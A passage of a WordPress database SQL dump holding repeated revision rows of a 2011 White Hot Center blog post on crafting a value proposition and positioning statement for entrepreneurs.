entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-8', '', '', '2011-04-25 11:29:14', '2011-04-25 18:29:14', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-8/', 0, 'revision', '', 0),
(1595, 2, '2011-04-25 11:30:48', '2011-04-25 18:30:48', '<img class="alignnone size-full wp-image-1593" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed2.jpg" alt="" width="485" height="339" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind. An effective positioning forms a collection of reasons clients / customers buy from you.</h2>\r\nPositioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Resonate</strong>\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Differentiate</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Substantiate</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-9', '', '', '2011-04-25 11:30:48', '2011-04-25 18:30:48', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-9/', 0, 'revision', '', 0),
(1596, 2, '2011-04-25 11:37:02', '2011-04-25 18:37:02', '', 'The seed of better outcomes', 0, '', 'inherit', 'open', 'open', '', 'value-seed-4', '', '', '2011-04-25 11:37:02', '2011-04-25 18:37:02', '', 1583, 'http://www.whitehotcenter.com/wp-content/uploads/2011/04/value-seed3.jpg', 0, 'attachment', 'image/jpeg', 0),
(1597, 2, '2011-04-25 11:30:56', '2011-04-25 18:30:56', '<img class="alignnone size-full wp-image-1593" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed2.jpg" alt="" width="485" height="339" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind. An effective positioning forms a collection of reasons clients / customers buy from you.</h2>\r\nPositioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Resonate</strong>\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Differentiate</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Substantiate</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-10', '', '', '2011-04-25 11:30:56', '2011-04-25 18:30:56', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-10/', 0, 'revision', '', 0);
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(1598, 2, '2011-04-25 11:37:34', '2011-04-25 18:37:34', '<img class="alignnone size-full wp-image-1596" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed3.jpg" alt="" width="480" height="336" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind. An effective positioning forms a collection of reasons clients / customers buy from you.</h2>\r\nPositioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Resonate</strong>\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Differentiate</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Substantiate</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development activities.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-11', '', '', '2011-04-25 11:37:34', '2011-04-25 18:37:34', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-11/', 0, 'revision', '', 0),
(1599, 2, '2011-04-25 11:37:44', '2011-04-25 18:37:44', '<img class="alignnone size-full wp-image-1596" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed3.jpg" alt="" width="480" height="336" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind. An effective positioning forms a collection of reasons clients / customers buy from you.</h2>\r\nPositioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Resonate</strong>\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Differentiate</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Substantiate</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development activities.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-12', '', '', '2011-04-25 11:37:44', '2011-04-25 18:37:44', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-12/', 0, 'revision', '', 0),
(1600, 2, '2011-04-25 11:38:24', '2011-04-25 18:38:24', '<img class="alignnone size-full wp-image-1596" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed3.jpg" alt="" width="480" height="336" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind. An effective positioning forms a collection of reasons clients / customers buy from you.</h2>\r\nPositioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Resonate</strong>\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Differentiate</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Substantiate</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development conversations.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-13', '', '', '2011-04-25 11:38:24', '2011-04-25 18:38:24', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-13/', 0, 'revision', '', 0),
(1601, 2, '2011-04-25 11:38:34', '2011-04-25 18:38:34', '<img class="alignnone size-full wp-image-1596" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed3.jpg" alt="" width="480" height="336" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind. An effective positioning forms a collection of reasons clients / customers buy from you.</h2>\r\nPositioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Resonate</strong>\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Differentiate</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Substantiate</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development conversations.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-14', '', '', '2011-04-25 11:38:34', '2011-04-25 18:38:34', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-14/', 0, 'revision', '', 0),
(1602, 2, '2011-04-25 11:51:26', '2011-04-25 18:51:26', '<img class="alignnone size-full wp-image-1596" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed3.jpg" alt="" width="480" height="336" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind. An effective positioning forms a collection of reasons clients / customers buy from you.</h2>\r\nPositioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Resonate</strong>\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Differentiate</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Substantiate</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the <a href="http://www.linkedin.com/groups/White-Hot-Center-3872207?trk=myg_ugrp_ovr" target="_blank">White Hot Center Group on LinkedIn</a> and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development conversations.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-15', '', '', '2011-04-25 11:51:26', '2011-04-25 18:51:26', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-15/', 0, 'revision', '', 0),
(1603, 2, '2011-04-25 11:51:36', '2011-04-25 18:51:36', '<img class="alignnone size-full wp-image-1596" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed3.jpg" alt="" width="480" height="336" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind. An effective positioning forms a collection of reasons clients / customers buy from 